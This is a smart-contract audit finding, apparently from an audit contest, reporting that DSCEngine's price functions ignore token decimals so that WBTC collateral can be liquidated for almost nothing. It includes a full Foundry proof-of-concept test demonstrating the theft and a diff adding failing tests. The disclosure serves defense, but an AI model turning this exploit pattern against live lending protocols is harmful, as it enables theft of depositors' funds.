high

Theft of collateral tokens with fewer than 18 decimals

Reward

Total

66.04 USDC

1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
1.56 USDC
Selected
2.18 USDC
1.56 USDC
1.56 USDC
Selected Submission

Theft of collateral tokens with fewer than 18 decimals

Severity

High Risk

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L347

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L366

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L356

Summary

The token prices computed by DSCEngine#getTokenAmountFromUsd() and DSCEngine#getUsdValue() fail to account for token decimals. As written, these methods assume that all tokens have 18 decimals; however, one of the stated collateral tokens is WBTC, which has only 8 decimals on Ethereum mainnet.

This 18-decimal assumption creates a discrepancy between the protocol-computed USD value and actual USD value of tokens with non-standard decimals. As a result, any deposited collateral token with fewer than 18 decimals (including WBTC) can potentially be stolen by an attacker.

Vulnerability Details

This line from DSCEngine#getTokenAmountFromUsd() contains scaling adjustments for the price feed's own precision (expressed to 8 decimals), but no such adjustments for the token's own decimals. The return value always has 18 decimals, but it should instead match the token's decimals since it returns a token amount.

return (usdAmountInWei * PRECISION) / (uint256(price) * ADDITIONAL_FEED_PRECISION);

This line from DSCEngine#getUsdValue() contains the same issue but in the opposite direction. The return value always has the same number of decimals as the token itself, whereas it is supposed to be an 18-decimal USD amount.

return ((uint256(price) * ADDITIONAL_FEED_PRECISION) * amount) / PRECISION;

When various USD values are added together in this line from DSCEngine#getAccountCollateralValue(), the total collateral value is incorrect because the terms of the sum may have different decimals, and therefore different frames of reference.

totalCollateralValueInUsd += getUsdValue(token, amount);

A proof of concept for the attack is provided below. Note that this test utilizes the slightly modified version of HelperConfig.s.sol shown in the diff at the bottom of this submission, which creates mock tokens with differing decimals.

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

import {DeployDSC} from "../../script/DeployDSC.s.sol";
import {DSCEngine} from "../../src/DSCEngine.sol";
import {DecentralizedStableCoin} from "../../src/DecentralizedStableCoin.sol";
import {HelperConfig} from "../../script/HelperConfig.s.sol";
import {ERC20DecimalsMock} from "@openzeppelin/contracts/mocks/ERC20DecimalsMock.sol";
import {MockV3Aggregator} from "../mocks/MockV3Aggregator.sol";
import {Test, console} from "forge-std/Test.sol";
import {StdCheats} from "forge-std/StdCheats.sol";

contract TokenDecimalExploit is StdCheats, Test {
    DSCEngine public dsce;
    DecentralizedStableCoin public dsc;
    HelperConfig public helperConfig;

    address public ethUsdPriceFeed;
    address public btcUsdPriceFeed;
    address public weth;
    address public wbtc;
    uint256 public wethDecimals;
    uint256 public wbtcDecimals;
    uint256 public feedDecimals;
    uint256 public deployerKey;

    address public user = address(1);
    address public exploiter = address(2);

    uint256 public constant STARTING_USER_BALANCE = 10 ether;
    uint256 public constant MIN_HEALTH_FACTOR = 1e18;
    uint256 public constant LIQUIDATION_BONUS = 10;
    uint256 public constant LIQUIDATION_THRESHOLD = 50;
    uint256 public constant LIQUIDATION_PRECISION = 100;

    function setUp() external {
        DeployDSC deployer = new DeployDSC();
        (dsc, dsce, helperConfig) = deployer.run();
        (ethUsdPriceFeed, btcUsdPriceFeed, weth, wbtc, deployerKey) = helperConfig.activeNetworkConfig();
        if (block.chainid == 31337) {
            vm.deal(user, STARTING_USER_BALANCE);
        }
        ERC20DecimalsMock(weth).mint(user, STARTING_USER_BALANCE);
        ERC20DecimalsMock(wbtc).mint(user, STARTING_USER_BALANCE);
        ERC20DecimalsMock(weth).mint(exploiter, STARTING_USER_BALANCE);
        // The exploiter is not given any WBTC.

        wethDecimals = ERC20DecimalsMock(weth).decimals();
        wbtcDecimals = ERC20DecimalsMock(wbtc).decimals();
        feedDecimals = helperConfig.FEED_DECIMALS();
    }

    /**
     * @notice This test is based on a very real possible scenario involving WETH and WBTC.
     *
     * On Ethereum mainnet, WETH and WBTC have 18 and 8 decimals, respectively.
     * The current prices of WETH and WBTC are close to $2,000 and $30,000, respectively.
     * The `DSCEngine` allows a user to borrow up to the liquidation threshold.
     * The `DSCEngine` fails to account for token decimals when computing USD prices.
     */ 
    function testExploitTokenDecimals() public {
        // Set initial prices.
        MockV3Aggregator(ethUsdPriceFeed).updateAnswer(int256(2_000 * 10**feedDecimals)); // $2,000
        MockV3Aggregator(btcUsdPriceFeed).updateAnswer(int256(30_000 * 10**feedDecimals)); // $30,000

        // A user borrows the maximum possible amount of DSC using WETH as collateral.
        vm.startPrank(user);
        uint256 amountWethDeposited = 1 * 10**wethDecimals; // 1 WETH
        uint256 expectedValueWeth = 2_000 ether; // $2,000
        uint256 amountDscFromWeth = (expectedValueWeth * LIQUIDATION_THRESHOLD) / LIQUIDATION_PRECISION;
        ERC20DecimalsMock(weth).approve(address(dsce), amountWethDeposited);
        dsce.depositCollateralAndMintDsc(weth, amountWethDeposited, amountDscFromWeth);
        assertEq(dsc.balanceOf(user), amountDscFromWeth);
        vm.stopPrank();

        // The user's 1 WETH should be worth $2,000 as we expect.
        uint256 valueWeth = dsce.getUsdValue(weth, amountWethDeposited);
        assertEq(valueWeth, expectedValueWeth);

        // Similarly, the reciprocal is true.
        uint256 amountWeth = dsce.getTokenAmountFromUsd(weth, expectedValueWeth);
        assertEq(amountWeth, amountWethDeposited);

        // Now the user borrows more DSC using WBTC collateral.
        // The flawed price computation ensures that the user can't borrow much at all, but they will anyway.
        vm.startPrank(user);
        uint256 amountWbtcDeposited = 1 * 10**wbtcDecimals; // 1 WBTC
        // This is the flaw! Given WBTC's 8 decimals, this WBTC is priced at $0.000003 instead of $30,000.
        uint256 expectedValueWbtc = 30_000 * 10**wbtcDecimals; // $0.000003 != $30,000
        uint256 amountDscFromWbtc = (expectedValueWbtc * LIQUIDATION_THRESHOLD) / LIQUIDATION_PRECISION;
        ERC20DecimalsMock(wbtc).approve(address(dsce), amountWbtcDeposited);
        dsce.depositCollateralAndMintDsc(wbtc, amountWbtcDeposited, amountDscFromWbtc);
        assertEq(dsc.balanceOf(user), amountDscFromWeth + amountDscFromWbtc);
        vm.stopPrank();

        // The user's 1 WBTC is worth far too little.
        uint256 valueWbtc = dsce.getUsdValue(wbtc, amountWbtcDeposited);
        assertEq(valueWbtc, expectedValueWbtc);

        // Similarly, the reciprocal is true.
        uint256 amountWbtc = dsce.getTokenAmountFromUsd(wbtc, expectedValueWbtc);
        assertEq(amountWbtc, amountWbtcDeposited);

        // An exploiter acquires DSC to perform a liquidation (DSC could have come from the market, but we borrow it).
        vm.startPrank(exploiter);
        ERC20DecimalsMock(weth).approve(address(dsce), amountWethDeposited);
        dsce.depositCollateralAndMintDsc(weth, amountWethDeposited, amountDscFromWeth);
        assertEq(dsc.balanceOf(exploiter), amountDscFromWeth);
        vm.stopPrank();

        // Over time, the price of WBTC falls just slightly. The user is now vulnerable to liquidation.
        MockV3Aggregator(btcUsdPriceFeed).updateAnswer(int256(29_999 * 10**feedDecimals)); // $29,999
        uint256 newValueWbtc = dsce.getUsdValue(wbtc, amountWbtcDeposited);
        assertTrue(dsce.getHealthFactor(user) < MIN_HEALTH_FACTOR);

        // The exploiter liquidates the user's WBTC by paying back an "equivalent" amount of DSC.
        // The amount is actually far too low given the flawed price calculation.
        // After this, the exploiter still has plenty of DSC and all of the user's WBTC.
        // The exploiter paid ~$0.0000027 for ~$30,000 worth of WBTC.
        vm.startPrank(exploiter);
        // This comes out to about $0.0000027 (reduced from $0.000003 to account for 10% liquidation bonus)
        uint256 debtToPay = (newValueWbtc * LIQUIDATION_PRECISION) / (LIQUIDATION_PRECISION + LIQUIDATION_BONUS);
        dsc.approve(address(dsce), debtToPay);
        dsce.liquidate(wbtc, user, debtToPay);
        vm.stopPrank();
        
        // Exploiter has all of the WBTC and still lots of DSC left!
        uint256 err = 0.0001 ether; // 0.01% allowable relative error to account for rounding
        assertApproxEqRel(ERC20DecimalsMock(wbtc).balanceOf(exploiter), amountWbtcDeposited, err);
        assertApproxEqRel(dsc.balanceOf(exploiter), amountDscFromWeth, err);

        // User has no WBTC left in the `DSCEngine`.
        assertApproxEqAbs(dsce.getCollateralBalanceOfUser(user, wbtc), 0, 1); // 1 wei of allowable error for rounding
    }
}

Impact

Direct theft of deposited collateral for tokens with fewer than 18 decimals.

Tools Used

Manual review.

Recommendations

Test for varied token decimals! Here is a diff which adds some relevant tests to the existing code base. Note that the new tests fail!

diff --git a/script/HelperConfig.s.sol b/script/HelperConfig.s.sol
index c9083ad..98c2b56 100644
--- a/script/HelperConfig.s.sol
+++ b/script/HelperConfig.s.sol
@@ -4,7 +4,7 @@ pragma solidity ^0.8.18;
 
 import {Script} from "forge-std/Script.sol";
 import {MockV3Aggregator} from "../test/mocks/MockV3Aggregator.sol";
-import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
+import {ERC20DecimalsMock} from "@openzeppelin/contracts/mocks/ERC20DecimalsMock.sol";
 
 contract HelperConfig is Script {
     struct NetworkConfig {
@@ -15,7 +15,9 @@ contract HelperConfig is Script {
         uint256 deployerKey;
     }
 
-    uint8 public constant DECIMALS = 8;
+    uint8 public constant FEED_DECIMALS = 8;
+    uint8 public constant WETH_DECIMALS = 18;
+    uint8 public constant WBTC_DECIMALS = 8;
     int256 public constant ETH_USD_PRICE = 2000e8;
     int256 public constant BTC_USD_PRICE = 1000e8;
     uint256 public DEFAULT_ANVIL_KEY = 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80;
@@ -47,16 +49,18 @@ contract HelperConfig is Script {
 
         vm.startBroadcast();
         MockV3Aggregator ethUsdPriceFeed = new MockV3Aggregator(
-            DECIMALS,
+            FEED_DECIMALS,
             ETH_USD_PRICE
         );
-        ERC20Mock wethMock = new ERC20Mock("WETH", "WETH", msg.sender, 1000e8);
+        ERC20DecimalsMock wethMock = new ERC20DecimalsMock("WETH", "WETH", WETH_DECIMALS);
+        wethMock.mint(msg.sender, 1000 * 10**WETH_DECIMALS);
 
         MockV3Aggregator btcUsdPriceFeed = new MockV3Aggregator(
-            DECIMALS,
+            FEED_DECIMALS,
             BTC_USD_PRICE
         );
-        ERC20Mock wbtcMock = new ERC20Mock("WBTC", "WBTC", msg.sender, 1000e8);
+        ERC20DecimalsMock wbtcMock = new ERC20DecimalsMock("WBTC", "WBTC", WBTC_DECIMALS);
+        wbtcMock.mint(msg.sender, 1000 * 10**WBTC_DECIMALS);
         vm.stopBroadcast();
 
         return NetworkConfig({
diff --git a/test/unit/DSCEngineTest.t.sol b/test/unit/DSCEngineTest.t.sol
index f697f8d..dc2de7d 100644
--- a/test/unit/DSCEngineTest.t.sol
+++ b/test/unit/DSCEngineTest.t.sol
@@ -6,7 +6,7 @@ import {DeployDSC} from "../../script/DeployDSC.s.sol";
 import {DSCEngine} from "../../src/DSCEngine.sol";
 import {DecentralizedStableCoin} from "../../src/DecentralizedStableCoin.sol";
 import {HelperConfig} from "../../script/HelperConfig.s.sol";
-import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
+import {ERC20DecimalsMock} from "@openzeppelin/contracts/mocks/ERC20DecimalsMock.sol";
 import {MockMoreDebtDSC} from "../mocks/MockMoreDebtDSC.sol";
 import {MockFailedMintDSC} from "../mocks/MockFailedMintDSC.sol";
 import {MockFailedTransferFrom} from "../mocks/MockFailedTransferFrom.sol";
@@ -24,6 +24,8 @@ contract DSCEngineTest is StdCheats, Test {
     address public btcUsdPriceFeed;
     address public weth;
     address public wbtc;
+    uint256 public wethDecimals;
+    uint256 public wbtcDecimals;
     uint256 public deployerKey;
 
     uint256 amountCollateral = 10 ether;
@@ -58,8 +60,11 @@ contract DSCEngineTest is StdCheats, Test {
         //     vm.etch(ethUsdPriceFeed, address(aggregatorMock).code);
         //     vm.etch(btcUsdPriceFeed, address(aggregatorMock).code);
         // }
-        ERC20Mock(weth).mint(user, STARTING_USER_BALANCE);
-        ERC20Mock(wbtc).mint(user, STARTING_USER_BALANCE);
+        ERC20DecimalsMock(weth).mint(user, STARTING_USER_BALANCE);
+        ERC20DecimalsMock(wbtc).mint(user, STARTING_USER_BALANCE);
+
+        wethDecimals = ERC20DecimalsMock(weth).decimals();
+        wbtcDecimals = ERC20DecimalsMock(wbtc).decimals();
     }
 
     ///////////////////////
@@ -81,21 +86,36 @@ contract DSCEngineTest is StdCheats, Test {
     // Price Tests //
     //////////////////
 
-    function testGetTokenAmountFromUsd() public {
-        // If we want $100 of WETH @ $2000/WETH, that would be 0.05 WETH
-        uint256 expectedWeth = 0.05 ether;
-        uint256 amountWeth = dsce.getTokenAmountFromUsd(weth, 100 ether);
+    function testGetWethTokenAmountFromUsd() public {
+        // If we want $10,000 of WETH @ $2000/WETH, that would be 5 WETH
+        uint256 expectedWeth = 5 * 10**wethDecimals;
+        uint256 amountWeth = dsce.getTokenAmountFromUsd(weth, 10_000 ether);
         assertEq(amountWeth, expectedWeth);
     }
 
-    function testGetUsdValue() public {
-        uint256 ethAmount = 15e18;
-        // 15e18 ETH * $2000/ETH = $30,000e18
-        uint256 expectedUsd = 30000e18;
+    function testGetWbtcTokenAmountFromUsd() public {
+        // If we want $10,000 of WBTC @ $1000/WBTC, that would be 10 WBTC
+        uint256 expectedWbtc = 10 * 10**wbtcDecimals;
+        uint256 amountWbtc = dsce.getTokenAmountFromUsd(wbtc, 10_000 ether);
+        assertEq(amountWbtc, expectedWbtc);
+    }
+
+    function testGetUsdValueWeth() public {
+        uint256 ethAmount = 15 * 10**wethDecimals;
+        // 15 ETH * $2000/ETH = $30,000
+        uint256 expectedUsd = 30_000 ether;
         uint256 usdValue = dsce.getUsdValue(weth, ethAmount);
         assertEq(usdValue, expectedUsd);
     }
 
+    function testGetUsdValueWbtc() public {
+        uint256 btcAmount = 15 * 10**wbtcDecimals;
+        // 15 BTC * $1000/BTC = $15,000
+        uint256 expectedUsd = 15_000 ether;
+        uint256 usdValue = dsce.getUsdValue(wbtc, btcAmount);
+        assertEq(usdValue, expectedUsd);
+    }
+
     ///////////////////////////////////////
     // depositCollateral Tests //
     ///////////////////////////////////////
@@ -119,7 +139,7 @@ contract DSCEngineTest is StdCheats, Test {
         mockDsc.transferOwnership(address(mockDsce));
         // Arrange - User
         vm.startPrank(user);
-        ERC20Mock(address(mockDsc)).approve(address(mockDsce), amountCollateral);
+        ERC20DecimalsMock(address(mockDsc)).approve(address(mockDsce), amountCollateral);
         // Act / Assert
         vm.expectRevert(DSCEngine.DSCEngine__TransferFailed.selector);
         mockDsce.depositCollateral(address(mockDsc), amountCollateral);
@@ -128,7 +148,7 @@ contract DSCEngineTest is StdCheats, Test {
 
     function testRevertsIfCollateralZero() public {
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(dsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
 
         vm.expectRevert(DSCEngine.DSCEngine__NeedsMoreThanZero.selector);
         dsce.depositCollateral(weth, 0);
@@ -136,7 +156,8 @@ contract DSCEngineTest is StdCheats, Test {
     }
 
     function testRevertsWithUnapprovedCollateral() public {
-        ERC20Mock randToken = new ERC20Mock("RAN", "RAN", user, 100e18);
+        ERC20DecimalsMock randToken = new ERC20DecimalsMock("RAN", "RAN", 4);
+        ERC20DecimalsMock(randToken).mint(user, 100 ether);
         vm.startPrank(user);
         vm.expectRevert(DSCEngine.DSCEngine__NotAllowedToken.selector);
         dsce.depositCollateral(address(randToken), amountCollateral);
@@ -145,7 +166,7 @@ contract DSCEngineTest is StdCheats, Test {
 
     modifier depositedCollateral() {
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(dsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
         dsce.depositCollateral(weth, amountCollateral);
         vm.stopPrank();
         _;
@@ -182,7 +203,7 @@ contract DSCEngineTest is StdCheats, Test {
         mockDsc.transferOwnership(address(mockDsce));
         // Arrange - User
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(mockDsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(mockDsce), amountCollateral);
 
         vm.expectRevert(DSCEngine.DSCEngine__MintFailed.selector);
         mockDsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
@@ -193,7 +214,7 @@ contract DSCEngineTest is StdCheats, Test {
         (, int256 price,,,) = MockV3Aggregator(ethUsdPriceFeed).latestRoundData();
         amountToMint = (amountCollateral * (uint256(price) * dsce.getAdditionalFeedPrecision())) / dsce.getPrecision();
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(dsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
 
         uint256 expectedHealthFactor =
             dsce.calculateHealthFactor(dsce.getUsdValue(weth, amountCollateral), amountToMint);
@@ -204,7 +225,7 @@ contract DSCEngineTest is StdCheats, Test {
 
     modifier depositedCollateralAndMintedDsc() {
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(dsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
         dsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
         vm.stopPrank();
         _;
@@ -221,7 +242,7 @@ contract DSCEngineTest is StdCheats, Test {
 
     function testRevertsIfMintAmountIsZero() public {
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(dsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
         dsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
         vm.expectRevert(DSCEngine.DSCEngine__NeedsMoreThanZero.selector);
         dsce.mintDsc(0);
@@ -235,7 +256,7 @@ contract DSCEngineTest is StdCheats, Test {
         amountToMint = (amountCollateral * (uint256(price) * dsce.getAdditionalFeedPrecision())) / dsce.getPrecision();
 
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(dsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
         dsce.depositCollateral(weth, amountCollateral);
 
         uint256 expectedHealthFactor =
@@ -259,7 +280,7 @@ contract DSCEngineTest is StdCheats, Test {
 
     function testRevertsIfBurnAmountIsZero() public {
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(dsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
         dsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
         vm.expectRevert(DSCEngine.DSCEngine__NeedsMoreThanZero.selector);
         dsce.burnDsc(0);
@@ -306,7 +327,7 @@ contract DSCEngineTest is StdCheats, Test {
         mockDsc.transferOwnership(address(mockDsce));
         // Arrange - User
         vm.startPrank(user);
-        ERC20Mock(address(mockDsc)).approve(address(mockDsce), amountCollateral);
+        ERC20DecimalsMock(address(mockDsc)).approve(address(mockDsce), amountCollateral);
         // Act / Assert
         mockDsce.depositCollateral(address(mockDsc), amountCollateral);
         vm.expectRevert(DSCEngine.DSCEngine__TransferFailed.selector);
@@ -316,7 +337,7 @@ contract DSCEngineTest is StdCheats, Test {
 
     function testRevertsIfRedeemAmountIsZero() public {
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(dsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
         dsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
         vm.expectRevert(DSCEngine.DSCEngine__NeedsMoreThanZero.selector);
         dsce.redeemCollateral(weth, 0);
@@ -326,7 +347,7 @@ contract DSCEngineTest is StdCheats, Test {
     function testCanRedeemCollateral() public depositedCollateral {
         vm.startPrank(user);
         dsce.redeemCollateral(weth, amountCollateral);
-        uint256 userBalance = ERC20Mock(weth).balanceOf(user);
+        uint256 userBalance = ERC20DecimalsMock(weth).balanceOf(user);
         assertEq(userBalance, amountCollateral);
         vm.stopPrank();
     }
@@ -345,7 +366,7 @@ contract DSCEngineTest is StdCheats, Test {
 
     function testCanRedeemDepositedCollateral() public {
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(dsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
         dsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
         dsc.approve(address(dsce), amountToMint);
         dsce.redeemCollateralForDsc(weth, amountCollateral, amountToMint);
@@ -399,16 +420,16 @@ contract DSCEngineTest is StdCheats, Test {
         mockDsc.transferOwnership(address(mockDsce));
         // Arrange - User
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(mockDsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(mockDsce), amountCollateral);
         mockDsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
         vm.stopPrank();
 
         // Arrange - Liquidator
         collateralToCover = 1 ether;
-        ERC20Mock(weth).mint(liquidator, collateralToCover);
+        ERC20DecimalsMock(weth).mint(liquidator, collateralToCover);
 
         vm.startPrank(liquidator);
-        ERC20Mock(weth).approve(address(mockDsce), collateralToCover);
+        ERC20DecimalsMock(weth).approve(address(mockDsce), collateralToCover);
         uint256 debtToCover = 10 ether;
         mockDsce.depositCollateralAndMintDsc(weth, collateralToCover, amountToMint);
         mockDsc.approve(address(mockDsce), debtToCover);
@@ -422,10 +443,10 @@ contract DSCEngineTest is StdCheats, Test {
     }
 
     function testCantLiquidateGoodHealthFactor() public depositedCollateralAndMintedDsc {
-        ERC20Mock(weth).mint(liquidator, collateralToCover);
+        ERC20DecimalsMock(weth).mint(liquidator, collateralToCover);
 
         vm.startPrank(liquidator);
-        ERC20Mock(weth).approve(address(dsce), collateralToCover);
+        ERC20DecimalsMock(weth).approve(address(dsce), collateralToCover);
         dsce.depositCollateralAndMintDsc(weth, collateralToCover, amountToMint);
         dsc.approve(address(dsce), amountToMint);
 
@@ -436,7 +457,7 @@ contract DSCEngineTest is StdCheats, Test {
 
     modifier liquidated() {
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(dsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
         dsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
         vm.stopPrank();
         int256 ethUsdUpdatedPrice = 18e8; // 1 ETH = $18
@@ -444,10 +465,10 @@ contract DSCEngineTest is StdCheats, Test {
         MockV3Aggregator(ethUsdPriceFeed).updateAnswer(ethUsdUpdatedPrice);
         uint256 userHealthFactor = dsce.getHealthFactor(user);
 
-        ERC20Mock(weth).mint(liquidator, collateralToCover);
+        ERC20DecimalsMock(weth).mint(liquidator, collateralToCover);
 
         vm.startPrank(liquidator);
-        ERC20Mock(weth).approve(address(dsce), collateralToCover);
+        ERC20DecimalsMock(weth).approve(address(dsce), collateralToCover);
         dsce.depositCollateralAndMintDsc(weth, collateralToCover, amountToMint);
         dsc.approve(address(dsce), amountToMint);
         dsce.liquidate(weth, user, amountToMint); // We are covering their whole debt
@@ -456,7 +477,7 @@ contract DSCEngineTest is StdCheats, Test {
     }
 
     function testLiquidationPayoutIsCorrect() public liquidated {
-        uint256 liquidatorWethBalance = ERC20Mock(weth).balanceOf(liquidator);
+        uint256 liquidatorWethBalance = ERC20DecimalsMock(weth).balanceOf(liquidator);
         uint256 expectedWeth = dsce.getTokenAmountFromUsd(weth, amountToMint)
             + (dsce.getTokenAmountFromUsd(weth, amountToMint) / dsce.getLiquidationBonus());
         uint256 hardCodedExpected = 6111111111111111110;
@@ -519,7 +540,7 @@ contract DSCEngineTest is StdCheats, Test {
 
     function testGetCollateralBalanceOfUser() public {
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(dsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
         dsce.depositCollateral(weth, amountCollateral);
         vm.stopPrank();
         uint256 collateralBalance = dsce.getCollateralBalanceOfUser(user, weth);
@@ -528,7 +549,7 @@ contract DSCEngineTest is StdCheats, Test {
 
     function testGetAccountCollateralValue() public {
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(dsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
         dsce.depositCollateral(weth, amountCollateral);
         vm.stopPrank();
         uint256 collateralValue = dsce.getAccountCollateralValue(user);